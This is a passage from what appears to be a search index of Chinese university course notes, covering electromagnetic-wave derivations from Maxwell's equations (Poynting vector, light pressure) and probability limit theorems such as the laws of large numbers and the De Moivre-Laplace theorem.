\\sqrt{\\kappa_e \\epsilon_0 \\kappa_m \\mu_0}     \\end{cases}  \\] <p>\u53c8\u56e0\u4e3a</p> \\[     v=\\dfrac{\\omega}{k}= \\dfrac{1}{\\sqrt{\\kappa_e \\epsilon_0 \\kappa_m \\mu_0}} \\] <p>\u5728\u771f\u7a7a\u4e2d\uff0c\u78c1\u5bfc\u7387\u548c\u4ecb\u7535\u5e38\u6570\u4e3a1\uff1b\u4ee3\u5165\u6570\u636e\u8ba1\u7b97\u53d1\u73b0\uff0c\\(v=c=3.0 \\times 10^8 m/s\\)\uff0c\u8fd9\u5c31\u662f\u5149\u901f</p> <p>Info</p> <p>\u8a79\u59c6\u65af\u00b7\u514b\u62c9\u514b\u00b7\u9ea6\u514b\u65af\u97e6\uff08James Clerk Maxwell\uff09\u57281861\u5e74\u81f31862\u5e74\u671f\u95f4\uff0c\u901a\u8fc7\u4ed6\u7684\u7535\u78c1\u7406\u8bba\u63a8\u5bfc\u51fa\u4e86\u5149\u901f\u3002\u4ed6\u5728\u53d1\u8868\u4e8e1865\u5e74\u7684\u8bba\u6587\u300a\u7535\u78c1\u573a\u7684\u52a8\u529b\u5b66\u7406\u8bba\u300b\uff08A Dynamical Theory of the Electromagnetic Field\uff09\u4e2d\u7cfb\u7edf\u5730\u603b\u7ed3\u4e86\u8fd9\u4e00\u6210\u679c\u3002</p> <p>\u9ea6\u514b\u65af\u97e6\u901a\u8fc7\u7ed3\u5408\u6cd5\u62c9\u7b2c\u7535\u78c1\u611f\u5e94\u5b9a\u5f8b\u3001\u5b89\u57f9\u5b9a\u5f8b\uff08\u4fee\u6b63\u540e\u5f15\u5165\u4e86\u4f4d\u79fb\u7535\u6d41\uff09\u3001\u9ad8\u65af\u5b9a\u5f8b\u4ee5\u53ca\u9ad8\u65af\u78c1\u5b9a\u5f8b\uff0c\u5f62\u6210\u4e86\u4e00\u7ec4\u63cf\u8ff0\u7535\u78c1\u573a\u7684\u65b9\u7a0b\u7ec4\uff0c\u5373\u540e\u6765\u88ab\u79f0\u4e3a\u201c\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b\u7ec4\u201d\u3002\u5728\u63a8\u5bfc\u8fc7\u7a0b\u4e2d\uff0c\u4ed6\u6ce8\u610f\u5230\u7535\u78c1\u6ce2\u7684\u4f20\u64ad\u901f\u5ea6\u4e0e\u4ecb\u8d28\u7684\u7535\u78c1\u6027\u8d28\u76f8\u5173\uff1a</p> \\[ v = \\frac{1}{\\sqrt{\\mu_0 \\varepsilon_0}} \\] <p>\u5f53\u9ea6\u514b\u65af\u97e6\u4f7f\u7528\u5f53\u65f6\u5df2\u77e5\u7684\u5b9e\u9a8c\u6570\u636e\u8ba1\u7b97\u8be5\u503c\u65f6\uff0c\u53d1\u73b0\u5176\u7ed3\u679c\u63a5\u8fd1\u4e8e\u5df2\u77e5\u7684\u5149\u901f\uff08\u7ea6 \\( 3 \\times 10^8 \\, \\text{m/s} \\)\uff09\u3002\u56e0\u6b64\uff0c\u4ed6\u63d0\u51fa\u4e86\u4e00\u4e2a\u9769\u547d\u6027\u7684\u5047\u8bbe\uff1a\u5149\u662f\u4e00\u79cd\u7535\u78c1\u6ce2\u3002\u8fd9\u4e00\u53d1\u73b0\u662f\u7269\u7406\u5b66\u53f2\u4e0a\u7684\u91cd\u8981\u91cc\u7a0b\u7891\uff0c\u5c06\u7535\u78c1\u5b66\u548c\u5149\u5b66\u7edf\u4e00\u5728\u4e00\u4e2a\u7406\u8bba\u6846\u67b6\u5185\u3002</p> <p>\u800c\u5f0f\u5b50\u4e2d\u4f59\u4e0b\u7684</p> \\[     \\sqrt{\\kappa_e \\kappa_m} = n \\] <p>\u5373\u4e3a\u6298\u5c04\u7387(\u5149\u901f\u5728\u771f\u7a7a\u4e2d\u7684\u901f\u5ea6\u4e0e\u4ecb\u8d28\u4e2d\u7684\u901f\u5ea6\u7684\u6bd4\u503c)</p> \\[     v=\\dfrac{c}{n} \\]"},{"location":"NOTE/Physics/maxwell/#_6","title":"\u7535\u573a\u548c\u78c1\u573a","text":"<p>\u7531\u63a8\u5bfc\u7535\u573a\u4e0e\u78c1\u573a\u76f8\u4e92\u5782\u76f4\u7684(2-2)\u5f0f\\(\\dfrac{\\partial E_x}{\\partial z} = -\\kappa_m \\mu_0 \\dfrac{\\partial H_y}{\\partial t}\\),\u7ee7\u7eed\u5c06\u5f97\u51fa\u7684\u7535\u573a\u548c\u78c1\u573a\u4ee3\u5165\uff0c\u5f97\u5230</p> \\[ \\begin{align*} -i k E_{x_0} e^{i(\\omega t - kx)} &amp;= -\\kappa_m \\mu_0 i \\omega H_{y_0} e^{i(\\omega t - kx)} \\\\ k E_{x_0} &amp;= \\kappa_m \\mu_0 \\omega H_{y_0} \\\\ E_{x_0} &amp;= \\kappa_m \\mu_0 \\frac{\\omega}{k} H_{y_0} = \\kappa_m \\mu_0 v H_{y_0} \\\\ &amp;= \\kappa_m \\mu_0 \\frac{1}{\\sqrt{\\kappa_m \\mu_0 \\kappa_e \\varepsilon_0}} H_{y_0} \\\\ \\sqrt{\\kappa_e \\varepsilon_0} E_{x_0} &amp;= \\sqrt{\\kappa_m \\mu_0} H_{y_0} \\\\ \\sqrt{\\kappa_e \\varepsilon_0} E_{x_0} e^{i \\phi_E} &amp;= \\sqrt{\\kappa_m \\mu_0} H_{y_0} e^{i \\phi_H} \\end{align*} \\] <p>\u521d\u76f8\u76f8\u540c</p> \\[ \\begin{cases} \\sqrt{\\kappa_e \\varepsilon_0} E_0 = \\sqrt{\\kappa_m \\mu_0} H_0 \\\\ \\phi_E = \\phi_H \\end{cases} \\] <p>\u5728\u771f\u7a7a\u4e2d\uff0c\\(\\kappa_e=\\kappa_m=1\\)</p> <p>\u6240\u4ee5</p> \\[     \\sqrt{\\varepsilon_0} E_0 = \\sqrt{\\mu_0} H_0 \\] \\[     E_0 = \\dfrac{\\mu_0 H_0}{\\sqrt{\\varepsilon_0 \\mu_0}}=cB_0 \\] <p>Key-point</p> \\[     B_0=\\dfrac{E_0}{c} \\] <p>\u7535\u573a\u548c\u78c1\u573a\u53ea\u5dee\u4e00\u4e2a\u5e38\u6570\uff01</p>"},{"location":"NOTE/Physics/maxwell/#_7","title":"\u7535\u78c1\u6ce2\u7684\u80fd\u91cf\u5bc6\u5ea6","text":"<p>\u5355\u4f4d\u4f53\u79ef\u5185\u7535\u78c1\u6ce2\u7684\u80fd\u91cf\u5305\u62ec\u7535\u573a\u7684\u90e8\u5206\u548c\u78c1\u573a\u7684\u90e8\u5206</p> \\[ U = \\iiint \\left( \\frac{1}{2} \\varepsilon_0 E^2 + \\frac{1}{2} \\frac{B^2}{\\mu_0} \\right) dv \\] <p>\u66f4\u4e00\u822c\u7684</p> \\[ U = U_E + U_B = \\iiint \\left( \\frac{1}{2} \\boldsymbol{D} \\cdot \\boldsymbol{E} + \\frac{1}{2} \\boldsymbol{B} \\cdot \\boldsymbol{H} \\right) dv \\] \\[ \\frac{dU}{dt} = \\frac{d}{dt} \\iiint \\left( \\frac{1}{2} \\boldsymbol{D} \\cdot \\boldsymbol{E} + \\frac{1}{2} \\boldsymbol{B} \\cdot \\boldsymbol{H} \\right) dv \\] \\[ = \\frac{1}{2} \\iiint \\frac{\\partial}{\\partial t} \\left( \\boldsymbol{D} \\cdot \\boldsymbol{E} + \\boldsymbol{B} \\cdot \\boldsymbol{H} \\right) dv \\] <p>\u5c55\u5f00\uff1a</p> \\[ \\frac{\\partial}{\\partial t} \\left( \\boldsymbol{D} \\cdot \\boldsymbol{E} + \\boldsymbol{B} \\cdot \\boldsymbol{H} \\right)  = \\kappa_e \\varepsilon_0 \\frac{\\partial}{\\partial t} (\\boldsymbol{E} \\cdot \\boldsymbol{E}) + \\kappa_m \\mu_0 \\frac{\\partial}{\\partial t} (\\boldsymbol{H} \\cdot \\boldsymbol{H}) \\] \\[ = 2 \\kappa_e \\varepsilon_0 \\boldsymbol{E} \\cdot \\frac{\\partial \\boldsymbol{E}}{\\partial t} + 2 \\kappa_m \\mu_0 \\boldsymbol{H} \\cdot \\frac{\\partial \\boldsymbol{H}}{\\partial t} \\] \\[ = 2 \\boldsymbol{E} \\cdot \\frac{\\partial \\boldsymbol{D}}{\\partial t} + 2 \\boldsymbol{H} \\cdot \\frac{\\partial \\boldsymbol{B}}{\\partial t} \\] <p>\u7531\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b\uff1a</p> \\[ \\frac{\\partial \\boldsymbol{D}}{\\partial t} = \\nabla \\times \\boldsymbol{H} - \\boldsymbol{J_0} \\] \\[ \\frac{\\partial \\boldsymbol{B}}{\\partial t} = -\\nabla \\times \\boldsymbol{E} \\] <p>\u4ee3\u5165\u9ad8\u4eae\u90e8\u5206\u540e\u5f97\u5230\uff1a</p> \\[ 2 \\boldsymbol{E} \\cdot \\left( \\nabla \\times \\boldsymbol{H} - \\boldsymbol{J_0} \\right) - 2 \\boldsymbol{H} \\cdot \\left( \\nabla \\times \\boldsymbol{E} \\right) \\] \\[ = 2 \\left[ \\boldsymbol{E} \\cdot (\\nabla \\times \\boldsymbol{H}) - \\boldsymbol{H} \\cdot (\\nabla \\times \\boldsymbol{E}) - \\boldsymbol{J_0} \\cdot \\boldsymbol{E} \\right] \\] \\[ = -2 \\nabla \\cdot (\\boldsymbol{E} \\times \\boldsymbol{H}) - 2 \\boldsymbol{J_0} \\cdot \\boldsymbol{E} \\] <p>\u4ee5\u4e0a\u7684\u5316\u7b80\u8fd0\u7528\u4e86</p> \\[ \\boldsymbol{E} \\cdot (\\nabla \\times \\boldsymbol{H}) - \\boldsymbol{H} \\cdot (\\nabla \\times \\boldsymbol{E}) = - \\nabla \\cdot (\\boldsymbol{E} \\times \\boldsymbol{H}) \\] <p>\u6700\u540e\u8fd0\u7528\u9ad8\u65af\u5b9a\u7406\u5316\u7b80\u5f97\u5230</p> \\[ \\frac{dU}{dt} = - \\iiint \\nabla \\cdot (\\boldsymbol{E} \\times \\boldsymbol{H}) dv - \\iiint (\\boldsymbol{J_0} \\cdot \\boldsymbol{E}) dv \\] \\[ = - \\iint (\\boldsymbol{E} \\times \\boldsymbol{H}) \\cdot d\\boldsymbol{A} - \\iiint (\\boldsymbol{J_0} \\cdot \\boldsymbol{E}) dv \\] <p>\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u7ee7\u7eed\u8ba8\u8bba\u6700\u540e\u7684\\(J_0 \\cdot E\\) \u79ef\u5206\u4f1a\u5f97\u5230\u4ec0\u4e48</p> <p>\u7531\u4e8e\\(J_0 =\\sigma (\\boldsymbol{E}+\\boldsymbol{K}) , \\therefore \\boldsymbol{E}=\\dfrac{1}{\\sigma} J_0 - \\boldsymbol{K}\\)</p> <p>\u6240\u4ee5</p> <p></p> \\[ \\begin{align*} \\int\\int\\int \\left( \\boldsymbol{j_0} \\cdot \\boldsymbol{E} \\right) dv &amp; = \\left( \\boldsymbol{j_0} \\cdot \\boldsymbol{E} \\right) \\Delta A \\cdot \\Delta l \\\\ &amp; = \\boldsymbol{j_0} \\cdot \\left( \\rho \\boldsymbol{j_0} - \\boldsymbol{K} \\right) \\Delta A \\cdot \\Delta l \\\\ &amp; = \\rho j_0^2 \\Delta A \\cdot \\Delta l - \\boldsymbol{j_0} \\cdot \\boldsymbol{K} \\Delta A \\cdot \\Delta l \\\\ &amp; = \\rho \\frac{\\Delta l}{\\Delta A} \\left( j_0 A \\right)^2 - \\left( j_0 A \\right) \\left( \\boldsymbol{K} \\cdot \\Delta l \\right) \\\\ &amp; = R i_0^2 - i_0 \\Delta \\varepsilon &amp; = Q - P \\end{align*} \\] <p>\u6700\u540e\u5f97\u5230\u5355\u4f4d\u65f6\u95f4\u5185\u7684\u80fd\u91cf\u4e3a</p> <p>Key-point</p> \\[     \\dfrac{dU}{dt} = - \\iint \\boldsymbol{S} \\cdot d\\boldsymbol{A} - Q + P \\]"},{"location":"NOTE/Physics/maxwell/#poynting","title":"Poynting \u77e2\u91cf","text":"<p>\u5b9a\u4e49\u5355\u4f4d\u65f6\u95f4\uff0c\u5355\u4f4d\u9762\u79ef\u5185\u7684\u80fd\u91cf\u6d41\u52a8</p> \\[ \\boldsymbol{S} = \\boldsymbol{E} \\times \\boldsymbol{H} \\] <p>Note</p> \\[     S = \\dfrac{EB}{\\mu_0} = \\dfrac{E^2}{\\mu_0 c} = \\dfrac{E^2}{Z_0} \\] <p>\u5176\u4e2d\\(Z_0=377 \\Omega\\)</p> <p>\u80fd\u91cf\u5bc6\u5ea6(\u5355\u4f4d\u65f6\u95f4\uff0c\u5355\u4f4d\u9762\u79ef)\u4e3aPoynting\u77e2\u91cf\u7684\u5747\u503c</p> <p> </p> <p>Note</p> <p>\u7535\u573a\u80fd\u91cf\u5bc6\u5ea6\u4e0e\u78c1\u573a\u80fd\u91cf\u5bc6\u5ea6\u7684\u5173\u7cfb</p> \\[     \\mu_E=\\dfrac{1}{2} \\varepsilon_0 E^2 = \\dfrac{1}{2} \\varepsilon c^2B^2 =  \\dfrac{1}{2} \\dfrac{B^2}{\\mu_0} = \\mu_B \\] <p>\u6545\u603b\u80fd\u91cf\u5bc6\u5ea6(\u5355\u4f4d\u65f6\u95f4\uff0c\u5355\u4f4d\u4f53\u79ef)\u4e3a</p> \\[     \\mu = \\mu_E + \\mu_B =  2 \\mu_E = \\varepsilon_0 E^2  \\] <p>\\(I\\) \u4e0e \\(\\mu\\) \u7684\u5173\u7cfb</p> <p> </p> Example <p> </p>"},{"location":"NOTE/Physics/maxwell/#_8","title":"\u7535\u8def\u4e2d\u7684\u80fd\u91cf\u4f20\u8f93","text":"<p>\u5982\u56fe\u7684\u4e00\u4e2a\u76f4\u6d41\u7535\u8def</p> <p>\u8003\u8651\u4e0e\u7535\u6e90\u6b63\u6781\u76f8\u8fde\u7684\u5bfc\u7ebf\uff0c\u5bfc\u7ebf\u5185\u90e8\u6709\u4e00\u4e2a\u7535\u573a\uff0c\u90a3\u4e48\u5bfc\u7ebf\u5916\u90e8\u4e00\u5b9a\u4e5f\u6709\u4e00\u4e2a\u65b9\u5411\u76f8\u540c\u7684\u7535\u573a,\u8fd9\u662f\u56e0\u4e3a</p> \\[    \\oint \\boldsymbol{E} \\cdot \\boldsymbol{dl} = -\\dfrac{d\\Phi_B}{dt} =0 \\] <p>\u518d\u52a0\u4e0a\u4e00\u4e2a\u5782\u76f4\u5bfc\u7ebf\u7684\u7535\u573a\uff0c\u6839\u636e\\(S=E \\times H\\)\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u80fd\u91cf\u6d41\u52a8\u7684\u65b9\u5411\uff0c\u4e00\u65b9\u9762\u6d41\u5411\u7535\u963b\uff0c\u53e6\u5916\u4e00\u65b9\u9762\u88ab\u5bfc\u7ebf\u6d88\u8017</p> <p>\u4e0e\u7535\u6e90\u8d1f\u6781\u76f8\u8fde\u7684\u5bfc\u7ebf\u4e5f\u662f\u7c7b\u4f3c\u7684\uff1b</p>"},{"location":"NOTE/Physics/maxwell/#_9","title":"\u7535\u78c1\u6ce2\u8574\u542b\u7684\u529b","text":"<p>\u9996\u5148\u5047\u8bbe\u5176\u6709\u4e00\u4e2a\u529b\\(\\Delta F\\)\uff0c\u90a3\u4e48\u8fd9\u4e2a\u529b\u4f1a\u5bf9\u7535\u8377\u505a\u529f\uff0c\u5373\\(\\Delta W = \\Delta F \\cdot \\Delta l\\);\u800c\u8fd9\u4e00\u90e8\u5206\u529f\u5c31\u662f\u8fd9\u4e2a\u7269\u4f53\u5438\u6536\u7684\u51c0\u80fd\u91cf;</p> \\[ \\Delta \\boldsymbol{F} \\cdot c \\Delta t = (\\boldsymbol{S_{in}} - \\boldsymbol{S_{out}}) \\cdot \\Delta A \\Delta t \\] <p>\u6545</p> \\[ \\Delta \\boldsymbol{F} = \\dfrac{1}{c} (\\boldsymbol{S_{in}} - \\boldsymbol{S_{out}}) \\Delta A \\] <p>Warning</p> <p>\u6ce8\u610f\u662f\u77e2\u91cf\u51cf</p>"},{"location":"NOTE/Physics/maxwell/#light-pressure","title":"\u5149\u538b(light pressure)","text":"<p>\u5355\u4f4d\u9762\u79ef\u4e0a\u7684\u529b</p> \\[     P = \\dfrac{1}{c} (\\boldsymbol{S_{in}} - \\boldsymbol{S_{out}}) \\]"},{"location":"NOTE/Physics/maxwell/#_10","title":"\u52a8\u91cf\u5bc6\u5ea6","text":"<p>\u5355\u4f4d\u4f53\u79ef\u5185\u7684\u52a8\u91cf</p> \\[     \\Delta g  = \\dfrac{F \\cdot \\Delta t}{\\Delta A c \\Delta t} = \\dfrac{F}{c \\Delta A} = \\dfrac{1}{c^2}(\\boldsymbol{S_{in}} - \\boldsymbol{S_{out}}) \\] <p>\\(g_{in}=\\dfrac{1}{c^2}S_{in}\\) \u4e3a\u5165\u5c04\u5149\u7684\u52a8\u91cf\u5bc6\u5ea6\uff0c\\(g_{out}=\\dfrac{1}{c^2}S_{out}\\) \u4e3a\u53cd\u5c04\u5149\u7684\u52a8\u91cf\u5bc6\u5ea6</p> <p>Key-point</p> <p>\u5bf9\u4e8e\u767d\u4f53\uff0c\\(S_{in}=S_{out}\\)\uff0c\u6545\\(g_{in}=g_{out}\\)</p> \\[     P = \\dfrac{2}{c} \\boldsymbol{S_{in}} \\] <p>\u5bf9\u4e8e\u9ed1\u4f53\uff0c\\(S_{out}=0\\)\uff0c\u6545\\(g_{in}=\\dfrac{1}{c^2}S_{in}\\)</p> \\[     P = \\dfrac{1}{c} \\boldsymbol{S_{in}} \\]"},{"location":"NOTE/Probability/","title":"\u6982\u7387\u8bba(H)","text":"<p> \u7ea6 50 \u4e2a\u5b57 </p> <p>\u6388\u8bfe:\u82cf\u4e2d\u6839</p> <p>\"\u540c\u5b66\u4eec\u6211\u4eec\u7684\u96f7\u8fbe\u70b9\u540d\u5df2\u7ecf\u5f00\u59cb\"</p>"},{"location":"NOTE/Probability/#_1","title":"\u76ee\u5f55","text":"<ul> <li>\u5176\u5b83\u77e5\u8bc6</li> <li>\u4e8b\u4ef6\u4e0e\u6982\u7387</li> <li>\u5206\u5e03\u5217\u4e0e\u5206\u5e03\u51fd\u6570</li> <li>\u6570\u5b57\u7279\u5f81</li> <li>\u6781\u9650\u5b9a\u7406</li> </ul>"},{"location":"NOTE/Probability/Fourth/","title":"\u6982\u7387\u6781\u9650\u7406\u8bba","text":"<p> \u7ea6 2138 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 7 \u5206\u949f</p>"},{"location":"NOTE/Probability/Fourth/#_2","title":"\u4f2f\u52aa\u5229\u5927\u6570\u5b9a\u5f8b","text":"<p>\u7ed9\u5b9a\\(p \\in (0, 1)\\)\uff0c\u8bb0\\(S_n \\sim \\text{Binomial}(n, p)\\)\uff0c\u5219</p> \\[     P(w: \\lvert \\frac{S_n(w)}{n} - p \\rvert \\geqslant \\epsilon) \\to 0 \\quad (n \\to \\infty) \\] <p>\u5373\u9891\u7387\u4e0e\u6982\u7387\u7684\u504f\u5dee\u7684\u6982\u7387\u968f\u7740\u8bd5\u9a8c\u6b21\u6570\u7684\u589e\u52a0\u800c\u8d8b\u8fd1\u4e8e0</p>"},{"location":"NOTE/Probability/Fourth/#possion","title":"Possion \u6781\u9650\u5b9a\u7406","text":"<p>\u4ee4 \\(0 &lt; p_n &lt; 1\\)\uff0c\u5047\u8bbe \\(S_n \\sim B(n, p_n)\\)\uff0c\u5982\u679c \\(np_n \\to \\lambda\\)\uff0c\u5e76\u4e14 \\(0 &lt; \\lambda &lt; 1\\) \u90a3\u4e48\u5bf9\u4efb\u4f55 \\(k = 0, 1, 2, \\ldots\\)</p> \\[ P(S_n = k) \\to \\frac{\\lambda^k e^{-\\lambda}}{k!}, \\quad n \\to \\infty \\] <p>\u8bc1\u660e\uff1a\u7531\u4e8e \\(S_n \\sim B(n, p_n)\\)</p> \\[ P(S_n = k) = \\frac{n!}{k!(n-k)!} p_n^k (1-p_n)^{n-k} \\] \\[ = \\frac{1}{k!} \\cdot \\frac{n(n-1)\\cdots(n-k+1)}{n^k} \\cdot (np_n)^k \\cdot \\left(1 - \\frac{\\lambda}{n} + o\\left(\\frac{1}{n}\\right)\\right)^{n-k} \\] \\[ \\to \\frac{\\lambda^k e^{-\\lambda}}{k!}, \\quad n \\to \\infty \\]"},{"location":"NOTE/Probability/Fourth/#chebyshev","title":"Chebyshev \u5927\u6570\u5f8b","text":"<p>Chebyshev \u4e0d\u7b49\u5f0f: \u5bf9\u4efb\u610f\u968f\u673a\u53d8\u91cf \\(X\\), \\(EX\\) \u548c \\(EX^2\\) \u5b58\u5728\u6709\u9650, \u90a3\u4e48\u5bf9\u4efb\u610f \\(\\varepsilon &gt; 0\\)</p> \\[ P(|X - EX| &gt; \\varepsilon) \\leqslant \\frac{Var(X)}{\\varepsilon^2} \\] <p>\u5e94\u7528 Chebyshev \u4e0d\u7b49\u5f0f\u8bc1\u660e Bernoulli \u5927\u6570\u5f8b</p> \\[ P\\left(\\left|\\frac{S_n}{n} - p\\right| &gt; \\varepsilon\\right) = P(|S_n - np| &gt; n\\varepsilon) \\] \\[ \\leqslant \\frac{Var(S_n - np)}{n^2 \\varepsilon^2} \\] \\[ = \\frac{np(1-p)}{n^2 \\varepsilon^2} \\to 0, \\quad n \\to \\infty \\] <p>Chebyshev \u5927\u6570\u5f8b</p> <p>\u5047\u8bbe \\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\\(E\\xi_k = \\mu\\)\u3002\u8bb0 \\(S_n = \\sum_{k=1}^{n} \\xi_k\\)\uff0c\u5982\u679c</p> \\[ \\frac{Var(S_n)}{n^2} \\to 0, \\quad n \\to \\infty \\] <p>\u90a3\u4e48</p> \\[ \\frac{S_n}{n} \\to \\mu, \\quad n \\to \\infty \\] <p>\u66f4\u4e00\u822c\u5730\uff0c\u5047\u8bbe \\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\\(E\\xi_k = \\mu_k\\)\u3002\u5982\u679c</p> \\[ \\frac{Var(S_n)}{n^2} \\to 0, \\quad n \\to \\infty \\] <p>\u90a3\u4e48</p> \\[ \\frac{S_n}{n} - \\frac{\\sum_{k=1}^{n} \\mu_k}{n} \\to 0, \\quad n \\to \\infty \\] <p>Chebyshev \u5927\u6570\u5f8b\u7684\u8bc1\u660e</p> <p>\u5bf9\u4efb\u610f \\(\\varepsilon &gt; 0\\),</p> \\[ P\\left(\\left|\\frac{S_n}{n} - \\frac{\\sum_{k=1}^{n} \\mu_k}{n}\\right| &gt; \\varepsilon\\right) \\leqslant \\frac{Var(S_n)}{n^2 \\varepsilon^2} \\to 0 \\] <p>\u8fd9\u91cc\\(S_n\\) \u5bf9\u5e94Chebyshev\u4e0d\u7b49\u5f0f\u4e2d\u7684\\(X\\)\uff0c\\(\\sum_{k=1}^{n} \\mu_k\\) \u5bf9\u5e94Chebyshev\u4e0d\u7b49\u5f0f\u4e2d\u7684\\(\\mu\\)</p> <p>\\(n\\varepsilon\\) \u5bf9\u5e94Chebyshev\u4e0d\u7b49\u5f0f\u4e2d\u7684\\(\\varepsilon\\)</p> <p>Chebyshev \u5927\u6570\u5f8b\u7684\u610f\u4e49: 1. \u6837\u672c\u5747\u503c\u6e10\u8fd1\u903c\u8fd1\u5747\u503c</p> <ol> <li> <p>\u6ca1\u6709\u72ec\u7acb\u6027\u8981\u6c42</p> </li> <li> <p>Chebyshev \u5927\u6570\u5f8b\u7684\u4e0d\u8db3\u4e4b\u5904: \u8981\u6c42\u65b9\u5dee\u5b58\u5728</p> </li> </ol>"},{"location":"NOTE/Probability/Fourth/#khinchin","title":"Khinchin \u5927\u6570\u5f8b","text":"<p>\u5047\u8bbe \\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u540c\u5206\u5e03\u7684\u968f\u673a\u53d8\u91cf\uff0c\u4e14 \\(E\\xi_k = \\mu\\)\uff0c\u8bb0 \\(S_n = \\sum_{k=1}^{n} \\xi_k\\)\uff0c\u90a3\u4e48</p> \\[ \\frac{S_n}{n} \\to \\mu, \\quad n \\to \\infty \\]"},{"location":"NOTE/Probability/Fourth/#de-moivre-laplace","title":"De Moivre-Laplace \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406","text":"<p>De Moivre\u516c\u5f0f</p> \\[     (\\cos \\theta + i \\sin \\theta)^n = \\cos n\\theta + i \\sin n\\theta \\] <p>\u5047\u8bbe \\(S_n \\sim B(n, p)\\)\uff0c\u90a3\u4e48</p> \\[  P\\left( \\frac{S_n - np}{\\sqrt{np(1-p)}} \\leqslant x \\right) \\approx \\int_{-\\infty}^{x} \\frac{1}{\\sqrt{2\\pi}} e^{-\\frac{t^2}{2}} \\, dt  \\] <ul> <li> <p>\u5de6\u8fb9\uff1a\u89c4\u8303\u5316 \\(\\frac{S_n - np}{\\sqrt{np(1-p)}}\\) \u968f\u673a\u53d8\u91cf\u7684\u5206\u5e03\u51fd\u6570</p> </li> <li> <p>\u53f3\u8fb9\uff1a\u6b63\u6001\u5206\u5e03\u51fd\u6570</p> </li> </ul> \\[ \\Phi(x) = \\int_{-\\infty}^{x} \\frac{1}{\\sqrt{2\\pi}} e^{-\\frac{t^2}{2}} \\, dt \\] <ul> <li></li> </ul> \\[ P(a \\leqslant S_n \\leqslant b) = P\\left( \\frac{a - np}{\\sqrt{np(1-p)}} \\leqslant \\frac{S_n - np}{\\sqrt{np(1-p)}} \\leqslant \\frac{b - np}{\\sqrt{np(1-p)}} \\right)  \\approx \\Phi\\left( \\frac{b - np}{\\sqrt{np(1-p)}} \\right) - \\Phi\\left( \\frac{a - np}{\\sqrt{np(1-p)}} \\right) \\] <p>\u5229\u7528De Moivre-Laplace\u5b9a\u7406\u8bc1\u660e</p> <p>\u5728\u4f2f\u52aa\u5229\u8bd5\u9a8c\u4e2d\uff0c\u82e5\\(p \\in (0, 1)\\)\uff0c\u5219\u4e0d\u7ba1\\(A\\)\u662f\u591a\u5927\u7684\u5e38\u6570\uff0c\u603b\u6709</p> \\[     P(\\lvert \\mu_n - np \\rvert &lt; A) \\to 0, \\quad n \\to \\infty \\] <p>\u5c06\u5176\u5316\u4e3a\u6807\u51c6\u5f62\u5f0f\uff0c\u5219</p> \\[     P(\\lvert \\dfrac{\\mu_n - np}{\\sqrt{np(1-p)}} \\rvert &lt; \\frac{A}{\\sqrt{np(1-p)}})\\to 0, \\quad n \\to \\infty \\] <p>\u7531De Moivre-Laplace\u5b9a\u7406\uff0c\u53f3\u8fb9\u662f\u8d8b\u5411\u4e8e0,\u6240\u4ee5\u539f\u6982\u7387\u76f8\u5f53\u4e8e</p> \\[     P(|X|  &lt;  0)  = 2  \\Phi(0) - 1 = 0 \\] <p>\u5176\u4e2d \\(X\\) \u662f\u6807\u51c6\u6b63\u6001\u5206\u5e03</p> <p>\u4f46\u662f\uff0c\u8fd9\u4e00\u7ed3\u679c\u662f\u5426\u4e0e\u5927\u6570\u5b9a\u5f8b\u76f8\u77db\u76fe\u5462\uff0c\u76f4\u89c2\u4e0a\u7406\u89e3\u6709\u4e9b\u56f0\u96be\uff0c\u4f46\u662f\uff0c\u6211\u4eec\u5c06\u5176\u5316\u4e3a\u5927\u6570\u5b9a\u5f8b\u7684\u5f62\u5f0f\u6765\u770b\u7684\u8bdd\uff0c\u5c31\u6709</p> \\[     P(\\lvert \\dfrac{\\mu_n}{n} - p \\rvert &lt; \\dfrac{A}{n}) \\to 0, \\quad n \\to \\infty \\] <p>\u4f46\u662f\u5927\u6570\u5b9a\u5f8b\u7684\u7ed3\u8bba\u662f,\u5bf9\u4e8e\u4efb\u610f\u7ed9\u5b9a\u7684\\(\\epsilon &gt; 0\\),\u603b\u6709</p> \\[     P(\\lvert \\dfrac{\\mu_n}{n} - p \\rvert &gt; \\epsilon) \\to 0, \\quad n \\to \\infty \\] <p>\u90a3\u4e48\u7ed3\u679c\u5c31\u5f88\u660e\u4e86\u4e86\uff0c\u5927\u6570\u5b9a\u5f8b\u9700\u8981\\(\\epsilon\\)\u7ed9\u5b9a,\u4f46\u662f\u8fd9\u91cc\u7684\\(\\dfrac{A}{n}\\)\u662f\u4e0e\\(n\\)\u6709\u5173\u4e00\u76f4\u53d8\u5316\u7684\uff0c\u5e76\u4e0d\u6ee1\u8db3\u5927\u6570\u5b9a\u5f8b\u7684\u6761\u4ef6\uff0c\u6240\u4ee5\uff0c\u5927\u6570\u5b9a\u5f8b\u4e0e\u8fd9\u4e2a\u7ed3\u8bba\u5e76\u4e0d\u77db\u76fe\uff0c\u5173\u952e\u5c31\u5728\u4e8e\\(A\\)\u662f\u7ed9\u5b9a\u7684\u5e38\u6570\u5bfc\u81f4\u5b83\u9664\u4ee5\\(n\\)\u540e\uff0c\\(\\epsilon\\)\u662f\u53d8\u5316\u7684\u3002</p>"},{"location":"NOTE/Probability/Fourth/#_3","title":"\u4f9d\u6982\u7387\u6536\u655b","text":"<p>\\((\\Omega, \\mathcal{S}, P)\\) \u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4\uff0c\\(X, X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\u5982\u679c\u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\),</p> \\[ P(\\omega : |X_n(\\omega) - X(\\omega)| &gt; \\epsilon) \\to 0, \\quad n \\to \\infty \\] <p>\u79f0 \\(X_n\\) \u4f9d\u6982\u7387\u6536\u655b\u5230 \\(X\\)\uff0c\u8bb0\u505a \\(X_n \\xrightarrow{P} X\\)\u3002</p> <p>\u6309\u6b64\u6982\u5ff5\uff0cBernoulli 